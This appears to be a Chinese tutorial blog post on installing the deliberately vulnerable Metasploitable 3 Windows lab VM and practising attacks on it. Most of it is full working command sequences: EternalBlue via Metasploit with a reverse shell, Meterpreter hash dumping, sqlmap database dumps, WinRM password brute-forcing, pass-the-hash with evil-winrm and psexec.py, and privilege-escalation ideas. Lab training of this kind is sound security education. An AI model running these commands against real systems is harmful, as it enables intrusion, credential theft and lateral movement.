Metasploitable 3 Windows版安装与渗透测试实战指南
1. 项目概述:为什么我们需要 Metasploitable 3 Windows 版?
如果你正在学习网络安全,尤其是渗透测试,那么你一定听说过 Metasploitable。这个系列靶机是安全研究者和学习者的“练功房”,它故意设计得漏洞百出,让你可以合法、安全地练习各种攻击技术,而不用担心法律风险。Metasploitable 3 是这个系列的最新版本,它最大的亮点就是提供了 Windows 和 Linux 两个版本,极大地扩展了我们的练习场景。今天,我们就来深入聊聊 Windows 版的 Metasploitable 3,从零开始,手把手带你完成安装、配置,并引导你进行初步的渗透测试实战。
为什么 Windows 版如此重要?因为在真实的企业环境中,Windows 服务器和工作站占据了相当大的比例。Active Directory 域环境、IIS 服务器、MS SQL 数据库、SMB 文件共享……这些经典的 Windows 服务及其常见配置错误,是渗透测试中绕不开的课题。Metasploitable 3 Windows 版就模拟了这样一个充满“坏习惯”和已知漏洞的 Windows Server 环境,让你能在一个受控的沙箱里,反复练习针对 Windows 系统的信息收集、漏洞利用、权限提升和横向移动。对于从 Kali Linux 等工具入门,但想深入理解 Windows 内网安全的朋友来说,这绝对是一个不可多得的宝藏资源。
2. 环境准备与安装部署全解析
2.1 核心工具链与系统要求
在开始之前,我们需要准备好“施工队”和“工地”。整个安装过程依赖于一套自动化构建工具,官方推荐使用 Packer 和 Vagrant。别被这些名字吓到,你可以把它们理解为“虚拟机定制流水线”和“虚拟机管理助手”。
- Packer:由 HashiCorp 开发,它的作用是根据我们提供的“配方”(一个 JSON 配置文件),自动从 ISO 镜像开始,安装操作系统、打补丁、安装软件、配置服务,最终生成一个可以直接使用的虚拟机镜像文件(比如 .box 文件)。对于 Metasploitable 3,Packer 就是那个按照预设的“漏洞清单”,一步步打造出这个脆弱靶机的总工程师。
- Vagrant:同样来自 HashiCorp,它是在 Packer 生成镜像之后,用来快速启动、管理和配置虚拟机的工具。通过一个简单的
vagrant up命令,它就能调用 VirtualBox 或 VMware 等后端,把 .box 镜像文件变成一台正在运行的虚拟机,并完成网络、共享文件夹等设置。
所以,我们的准备工作清单如下:
- 虚拟机平台:VirtualBox 或 VMware Workstation/Player。我个人更推荐 VirtualBox,因为它是免费且开源的,与 Vagrant 的集成也最成熟。确保安装最新版本。
- Packer:从 HashiCorp 官网下载对应你操作系统(Windows/macOS/Linux)的二进制包,解压后将
packer.exe(Windows)或packer(其他系统)所在目录添加到系统的 PATH 环境变量中。 - Vagrant:同样从官网下载安装程序,一路下一步即可,安装程序会自动配置环境变量。
- Git:用于克隆 Metasploitable 3 的源代码仓库。安装 Git 并确保
git命令可以在命令行中运行。 - Windows 系统 ISO:这是构建 Windows 版靶机的原材料。重要提示:由于版权原因,官方构建脚本不会提供 Windows ISO,需要你自己准备。你需要一个 Windows Server 2008 R2 或 Windows 7 的 ISO 镜像文件。构建脚本主要是为这些旧版本系统设计的,因为它们包含了大量已被公开的经典漏洞。
- 足够的磁盘空间和内存:构建过程会产生中间文件,最终生成的虚拟机磁盘文件也较大。建议预留至少 40GB 的可用磁盘空间。为运行该虚拟机,建议主机至少有 8GB 内存,并为虚拟机分配 2-4GB。
注意:整个安装过程需要在命令行(Windows 下是 PowerShell 或 CMD,Linux/macOS 下是终端)中完成,并且需要保持稳定的网络连接,因为构建过程中会下载必要的依赖包和补丁。
2.2 分步构建 Metasploitable 3 Windows 虚拟机
假设我们已经安装好了 VirtualBox、Vagrant 和 Packer,并且已经下载好了名为Win2008R2.iso的镜像文件放在D:\ISOs\目录下。接下来,我们开始“施工”。
第一步:获取源码打开命令行,切换到一个你打算存放项目的目录(例如D:\VMs\),执行克隆命令:
git clone https://github.com/rapid7/metasploitable3.git cd metasploitable3这会把官方的构建脚本和配置文件下载到本地。
第二步:配置构建参数(关键步骤)Metasploitable 3 的构建脚本通过环境变量来接收参数。我们需要告诉它 Windows ISO 文件在哪里,以及我们想要构建哪个版本。
- 在 Windows PowerShell 中,你可以这样设置(一次性):
$env:MS3_WIN_ISO_PATH = "D:\ISOs\Win2008R2.iso" - 在 Windows CMD 中:
set MS3_WIN_ISO_PATH=D:\ISOs\Win2008R2.iso - 在 Linux/macOS 的 Bash 或 Zsh 中:
export MS3_WIN_ISO_PATH="/path/to/your/Win2008R2.iso"
这个环境变量是构建 Windows 靶机的关键,脚本会读取这个路径下的 ISO 文件作为安装源。
第三步:启动构建过程在metasploitable3目录下,运行针对 Windows 的构建命令:
packer build --only=virtualbox-iso ./packer/templates/windows_2008_r2.json这个命令解读一下:packer build是启动构建的命令;--only=virtualbox-iso指定我们只构建 VirtualBox 格式的镜像(如果你想构建 VMware 格式,需要相应的 OVF 工具并修改参数);最后指向 Windows 靶机的模板文件windows_2008_r2.json。
第四步:耐心等待构建完成这是最漫长的一步,可能会持续1 到 3 个小时,具体取决于你的网络速度和电脑性能。Packer 会自动完成以下工作:
- 创建一个新的虚拟机,挂载你提供的 ISO。
- 全自动安装 Windows 操作系统(无需人工干预)。
- 安装 Windows 自动化框架 PowerShell 和必要的模块。
- 运行一系列“漏洞注入”脚本。这些脚本会做很多“坏事”,比如:安装存在漏洞的旧版软件(如 Apache Tomcat, WordPress)、配置弱密码、开启不安全的服务(如 SMBv1)、创建存在 SQL 注入点的 Web 应用、设置权限配置错误的共享文件夹等。
- 进行系统快照(可选)并最终输出一个
.box格式的 Vagrant 镜像文件。
在这个过程中,命令行窗口会滚动大量日志。只要没有出现红色的错误信息并最终停止,就说明在正常进行。你可以去喝杯咖啡,耐心等待。
第五步:添加并启动虚拟机构建成功后,你会在当前目录下找到一个名为metasploitable3-win2k8.box(或类似名称)的文件。接下来,使用 Vagrant 来管理它。
- 将这个 box 文件添加到 Vagrant 的本地仓库:
vagrant box add metasploitable3-win2k8 ./metasploitable3-win2k8.box - 初始化一个 Vagrant 环境来使用这个 box。你可以新建一个目录,或者就在
metasploitable3目录下:
这会在当前目录生成一个vagrant init metasploitable3-win2k8Vagrantfile配置文件。 - 启动虚拟机:
Vagrant 会启动 VirtualBox,并加载我们刚刚构建的镜像。首次启动会进行一些初始化配置。vagrant up
第六步:连接与验证虚拟机启动后,默认配置了一个 Host-Only 网络适配器,其 IP 地址通常是192.168.56.101(你可以在 VirtualBox 管理界面或使用vagrant ssh命令查看,但 Windows 靶机默认没有开 SSH,所以主要看 VirtualBox 的网络设置)。
- 你可以直接在 VirtualBox 的控制台里打开虚拟机,看到 Windows 的登录界面。
- 更重要的是,从你的主机(比如 Kali Linux 虚拟机或物理机)上,尝试 ping 一下这个 IP,看是否能通。如果能通,说明靶机网络配置成功,可以开始进行渗透测试了。
实操心得:构建过程最容易出问题的地方有两个。一是环境变量
MS3_WIN_ISO_PATH没设置或路径错误,Packer 会报错找不到 ISO。二是网络问题,导致在下载 Windows 更新或软件包时超时失败。如果构建失败,仔细阅读命令行最后的错误信息,通常都能找到线索。另外,确保你的主机 BIOS 中已开启虚拟化支持(Intel VT-x / AMD-V),否则虚拟机性能会极差甚至无法运行。
3. 靶机信息收集与漏洞初探
虚拟机跑起来了,面对这个陌生的“黑盒”,我们第一步该做什么?绝不是拿起漏洞扫描器一顿乱扫。专业的渗透测试始于细致的信息收集。我们的目标是搞清楚“目标是谁”、“它开了什么门”、“墙上有没有裂缝”。
3.1 基础网络与端口扫描
首先,确认靶机存活和基础网络信息。从你的攻击机(比如 Kali Linux)执行:
ping -c 4 192.168.56.101收到回复,说明主机在线,网络可达。
接下来,使用nmap进行端口扫描,这是发现开放服务的“雷达”。
nmap -sV -sC -O -p- 192.168.56.101这个命令组合非常强大:
-sV:探测服务版本。知道是 Apache 2.2.15 还是 IIS 7.5,对后续寻找漏洞至关重要。-sC:使用默认的 Nmap 脚本进行更深入的探测,可能会发现一些默认配置泄露的信息。-O:尝试识别操作系统。-p-:扫描所有 65535 个端口,避免遗漏高端口服务。
扫描完成后,你会得到一份详细的报告。对于 Metasploitable 3 Windows 版,你大概率会看到如下一些关键端口:
- 80/tcp, 443/tcp:HTTP/HTTPS 服务。运行着存在漏洞的 Web 应用,比如 WordPress、一个自定义的银行应用等。
- 135/tcp, 139/tcp, 445/tcp:经典的 Windows SMB/RPC 服务端口。这里是弱密码、永恒之蓝(MS17-010)等漏洞的高发区。
- 21/tcp:FTP 服务。很可能允许匿名登录,或者存在配置问题。
- 25/tcp, 110/tcp:SMTP 和 POP3 邮件服务。
- 1433/tcp:Microsoft SQL Server 端口。可能存在弱口令 sa 账户。
- 3389/tcp:远程桌面协议(RDP)端口。是横向移动和图形化访问的关键。
- 5985/tcp, 5986/tcp:Windows 远程管理(WinRM)端口,用于 PowerShell 远程管理。
- 4848/tcp, 8009/tcp, 8080/tcp:可能运行着存在漏洞的 Apache Tomcat 或 GlassFish 应用服务器。
3.2 服务枚举与漏洞线索挖掘
拿到端口列表后,我们需要对关键服务进行深度枚举。
针对 SMB 服务(445端口):使用enum4linux或smbclient来枚举共享、用户和组信息。
enum4linux -a 192.168.56.101这个命令会尝试匿名或空会话连接,枚举出靶机上的用户列表(如 Administrator, Guest, Bob, Jane 等)、共享文件夹列表。你可能会发现一些可读或可写的共享,这是获取初始文件或上传后门的好途径。
针对 Web 服务(80/443端口):使用浏览器访问http://192.168.56.101和https://192.168.56.101。查看首页,点击所有链接,观察是否存在像 WordPress、phpMyAdmin 这样的应用。
- 使用
dirb,gobuster或ffuf进行目录爆破,寻找隐藏的管理后台、配置文件、备份文件等。gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt - 手动测试每一个输入点。在登录框尝试
admin:admin、admin:password等常见弱口令,或者输入'、"看是否有 SQL 注入或 XSS 错误回显。 - 查看网页源代码,注释里可能藏着密码、路径等敏感信息。
针对 MS SQL Server(1433端口):使用sqsh或 Metasploit 的mssql_ping模块来探测,并尝试用弱口令连接。一个经典的测试就是sa账户空密码。
# 使用 impacket 工具集的 mssqlclient.py python3 mssqlclient.py -windows-auth Administrator@192.168.56.101 # 或者使用 Metasploit msfconsole use auxiliary/scanner/mssql/mssql_login set RHOSTS 192.168.56.101 run如果成功,你就获得了数据库的最高权限,可以执行系统命令、上传文件,是获得系统权限的绝佳跳板。
注意事项:在真实测试中,信息收集阶段要尽可能安静,避免触发入侵检测系统(IDS)。但在 Metasploitable 这样的实验环境中,我们可以放开手脚。务必养成记录的习惯,用一个笔记软件或文本文件,记录下发现的每一个 IP、端口、服务版本、可能的漏洞、尝试过的用户名密码等。这些信息在后续的漏洞利用和横向移动中会形成宝贵的“情报网”。
4. 典型漏洞利用实战演练
基于信息收集的结果,我们已经发现了一些“裂缝”。现在,让我们挑选几个 Metasploitable 3 Windows 版中经典的漏洞场景,进行实战利用。
4.1 利用永恒之蓝(MS17-010)获取系统权限
永恒之蓝是 NSA 泄露的针对 Windows SMBv1 协议的远程代码执行漏洞,影响范围极广。Metasploitable 3 的 Windows 2008 R2 正好在影响范围内且未打补丁。
利用步骤:
- 启动 Metasploit Framework:在 Kali 中打开终端,输入
msfconsole。 - 搜索并加载漏洞模块:
search ms17-010 # 会列出多个相关模块,我们选择 exploit/windows/smb/ms17_010_eternalblue use exploit/windows/smb/ms17_010_eternalblue - 配置模块参数:
set RHOSTS 192.168.56.101 # 通常不需要设置 RPORT (445) 和 LHOST(你的 Kali IP,用于反弹shell),因为模块有默认值或会自动检测。 # 但为了可靠,最好显式设置 LHOST set LHOST 192.168.56.102 # 假设你的Kali IP是 .102 - 运行检查:在发起攻击前,可以先运行检查模块,确认目标是否真的存在漏洞。
如果显示use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.56.101 runVULNERABLE,则确认漏洞存在。 - 执行攻击:切换回攻击模块并执行。
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.101 set LHOST 192.168.56.102 exploit - 获取 Meterpreter Shell:如果利用成功,你会看到
Meterpreter session X opened的提示,并进入一个meterpreter >的交互式命令行。这意味着你已经以SYSTEM权限(Windows 最高权限)控制了目标机器。
在 Meterpreter 中可以做什么?
sysinfo:查看系统信息。getuid:查看当前权限。hashdump:导出所有用户的密码哈希值(存储在 SAM 数据库中),可用于后续的密码破解或“传递哈希”攻击。shell:进入一个标准的 Windows cmd shell。upload /path/to/local/file C:\\Windows\\Temp\\:上传文件到靶机。download C:\\important.txt /tmp/:从靶机下载文件。
4.2 攻击存在 SQL 注入的 Web 应用获取数据
假设我们在信息收集中发现http://192.168.56.101/bank是一个在线银行应用,并且登录框存在 SQL 注入。
手动测试:在用户名输入admin' or '1'='1,密码任意。如果成功登录,说明存在基于字符串的 SQL 注入。更专业的测试可以使用sqlmap。
使用 sqlmap 自动化利用:
- 找到注入点。例如,发现
http://192.168.56.101/bank/login.php的user参数存在注入。 - 使用 sqlmap 进行探测和利用:
sqlmap -u "http://192.168.56.101/bank/login.php?user=admin&pass=test" --data="user=admin&pass=test" --level=3 --risk=2-u:指定目标 URL。--data:指定 POST 请求的数据。--level和--risk:提高检测级别和风险等级,进行更深入的测试。
- 枚举数据库信息:
获取数据库列表。sqlmap -u "http://192.168.56.101/bank/login.php" --data="user=admin&pass=test" --dbs - 枚举特定数据库的表(例如
bankdb):sqlmap -u "http://192.168.56.101/bank/login.php" --data="user=admin&pass=test" -D bankdb --tables - 导出表数据(例如
users表):
这样,你就能获取到应用数据库中的所有用户凭证,可能包含明文密码或可破解的哈希值。这些凭证很可能在系统其他服务(如 SMB、RDP)中被重复使用。sqlmap -u "http://192.168.56.101/bank/login.php" --data="user=admin&pass=test" -D bankdb -T users --dump
4.3 通过弱口令或配置错误的 WinRM 进行远程命令执行
WinRM(Windows Remote Management)是 Windows 的远程管理协议。如果配置不当(如允许 HTTP 基本认证)或用户密码过于简单,攻击者可以直接远程执行 PowerShell 命令。
使用 crackmapexec 进行爆破和利用:
crackmapexec winrm 192.168.56.101 -u users.txt -p passwords.txt这个命令会尝试用users.txt文件中的用户名列表和passwords.txt中的密码列表,对靶机的 WinRM 服务(5985端口)进行爆破。Metasploitable 3 中预设了一些弱密码用户,如Bob:password123。
如果爆破成功,crackmapexec 会显示认证成功的用户。随后,我们可以使用evil-winrm工具建立一个功能完整的 WinRM 会话:
evil-winrm -i 192.168.56.101 -u Bob -p password123连接成功后,你将获得一个 PowerShell 会话,权限就是 Bob 用户的权限。你可以在此执行命令、上传下载文件,为进一步提权做准备。
5. 权限提升与内网横向移动思路
通过前面的攻击,我们可能已经获得了一个初始立足点,比如一个 Web Shell(权限较低)或者一个像 Bob 这样的普通用户权限。我们的目标是获得最高权限(SYSTEM/Administrator)并探索内网(虽然这里单机,但思路一致)。
5.1 本地权限提升(Privilege Escalation)
在获得的 Meterpreter 或 WinRM 会话中,我们可以进行本地信息收集,寻找提权机会。
- 系统信息收集:
systeminfo:查看系统详细配置、补丁列表。缺失的补丁号对应着已知的本地提权漏洞。whoami /priv:查看当前用户拥有的特权。如果启用了SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege,可能可以利用“土豆系列”(如 Juicy Potato, Rogue Potato)进行提权。net user和net localgroup administrators:查看用户和本地管理员组。
- 使用自动化脚本:
- 上传并运行
WinPEAS或PowerUp.ps1(PowerSploit 套件的一部分)。这些脚本会自动检查常见的错误配置,如可写的服务路径、AlwaysInstallElevated 策略、弱服务的二进制文件权限等。 - 在 Meterpreter 中,可以使用
post/multi/recon/local_exploit_suggester模块,它会根据系统信息和补丁情况,推荐合适的本地提权漏洞利用模块。
- 上传并运行
- 利用未打补丁的漏洞:
- 如果
systeminfo显示缺少某个补丁(例如 KB4562560),可以在 Exploit-DB 或 GitHub 上搜索对应的本地提权 EXP,上传到靶机并执行。
- 如果
- 利用服务配置错误:
- 如果发现某个以 SYSTEM 权限运行的服务,其可执行文件路径的目录权限允许普通用户写入,我们可以用恶意的可执行文件替换它,然后重启服务(或等待系统重启)来获得 SYSTEM 权限。
5.2 横向移动(Lateral Movement)
在真实的域环境中,获得一台机器的权限后,我们会尝试访问网络中的其他机器。Metasploitable 3 是单机,但我们可以练习相关技术。
- 凭证窃取与重用:
- 使用 Meterpreter 的
hashdump或kiwi(Mimikatz)模块抓取内存中的明文密码和哈希值。 - 假设我们抓取到了 Administrator 的 NTLM 哈希(
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0这是空密码的哈希,实际会更复杂)。 - 我们可以使用“传递哈希”(Pass-the-Hash)攻击,在不破解密码的情况下,直接使用这个哈希去访问其他支持 NTLM 认证的服务(如 SMB, WinRM)。
# 使用 crackmapexec 进行传递哈希攻击访问 SMB crackmapexec smb 192.168.56.101 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --shares # 使用 evil-winrm 进行传递哈希攻击访问 WinRM evil-winrm -i 192.168.56.101 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
- 使用 Meterpreter 的
- 利用 PSExec 或 WMI 执行远程命令:
- 在获得了域内某台机器的管理员凭证后,可以使用
psexec.py(impacket 套件)或 Metasploit 的psexec模块,在远程机器上执行命令并获得一个交互式 shell。python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.56.101
- 在获得了域内某台机器的管理员凭证后,可以使用
- 利用计划任务(Scheduled Tasks):
- 通过 WMI 或 WinRM,可以在远程主机上创建计划任务来执行我们的后门程序,从而实现远程代码执行。
6. 常见问题与排查技巧实录
在安装和测试 Metasploitable 3 的过程中,你几乎一定会遇到一些问题。下面是我踩过的一些坑和解决方法。
6.1 安装与构建问题
问题1:Packer 构建失败,提示“Windows 安装超时”或卡在某个步骤。
- 原因:网络不稳定导致 Windows 更新或组件下载失败;ISO 镜像不匹配或损坏;主机资源(CPU/内存)不足。
- 解决:
- 检查
MS3_WIN_ISO_PATH环境变量路径是否正确,ISO 文件是否完整。建议使用官方原版镜像。 - 为 Packer 虚拟机分配更多资源。可以编辑 Packer 模板文件(
windows_2008_r2.json),找到"memory": 2048和"cpus": 2这样的配置,适当调高(如内存4096,CPU 4)。 - 在稳定的网络环境下重试。如果是因为下载特定补丁失败,可以尝试先手动下载并放到 Packer 缓存目录,但操作较复杂。最直接的方法是重试几次。
- 检查
问题2:vagrant up启动失败,报错“Box 格式不支持”或“找不到虚拟机”。
- 原因:构建生成的
.box文件不完整,或者 Vagrant 与 VirtualBox 版本不兼容。 - 解决:
- 确保使用
vagrant box add添加 box 时指定的名称和vagrant init时使用的名称一致。 - 删除有问题的 box 和虚拟机,重新构建。
vagrant destroy -f vagrant box remove metasploitable3-win2k8 # 回到构建目录,重新执行 packer build 和 vagrant box add - 更新 Vagrant 和 VirtualBox 到最新版本。
- 确保使用
6.2 渗透测试连接问题
问题3:能 ping 通靶机,但 nmap 扫描不到任何端口。
- 原因:Windows 防火墙默认是开启的,它阻止了入站连接。
- 解决:登录到 Metasploitable 3 的虚拟机控制台(在 VirtualBox 里打开),手动关闭防火墙。
- 点击“开始” -> “控制面板” -> “系统和安全” -> “Windows 防火墙”。
- 点击“打开或关闭 Windows 防火墙”。
- 将“专用网络设置”和“公用网络设置”都选为“关闭 Windows 防火墙”。
- 点击“确定”。之后,nmap 扫描应该就能看到开放的端口了。
问题4:使用永恒之蓝模块攻击时,总是失败,提示“Target is not vulnerable”。
- 原因:虽然系统未打补丁,但可能由于内存布局、SMB 签名要求或网络不稳定导致利用失败。
- 解决:
- 确保靶机防火墙已关闭。
- 在 Metasploit 中,尝试使用
exploit/windows/smb/ms17_010_psexec模块,它比 EternalBlue 更稳定一些。 - 调整攻击载荷(Payload)。有时默认的
windows/x64/meterpreter/reverse_tcp不稳定,可以尝试windows/x64/shell/reverse_tcp。 - 多重启几次靶机再试。EternalBlue 利用对系统状态有一定要求。
问题5:使用 sqlmap 测试 Web 注入点时,被 WAF(Web 应用防火墙)拦截或连接被重置。
- 原因:Metasploitable 3 中的某些 Web 应用可能配置了简单的防护规则,或者 sqlmap 的测试流量触发了异常。
- 解决:
- 使用
--random-agent参数随机化 User-Agent 头。 - 使用
--delay参数在请求间加入延迟,降低请求频率。 - 使用
--tamper参数尝试使用编码脚本绕过。例如--tamper=space2comment。 - 如果只是学习,可以暂时关闭相关防护(如果知道如何配置的话),或者专注于手动测试理解原理。
- 使用
6.3 后期维护与重置
问题6:虚拟机被我“玩坏了”,系统异常或想恢复初始状态。
- 解决:Vagrant 提供了便捷的重置方式。
这比使用 VirtualBox 的快照回滚更方便,能确保每次都是一个干净的、初始化的漏洞环境。# 在 Vagrantfile 所在目录下 vagrant destroy -f # 强制销毁当前虚拟机 vagrant up # 重新从 box 镜像创建并启动一个全新的虚拟机
问题7:我想修改靶机的网络配置(比如改成桥接模式,让局域网其他机器也能访问)。
- 解决:编辑
Vagrantfile文件。找到网络配置部分,默认是:
可以注释掉这行,并取消注释或添加桥接配置:config.vm.network "private_network", ip: "192.168.56.101"
然后执行config.vm.network "public_network"vagrant reload。重启时,VirtualBox 会弹窗让你选择要桥接到哪个物理网卡。选择后,虚拟机会通过 DHCP 获取一个和你主机在同一网段的 IP 地址。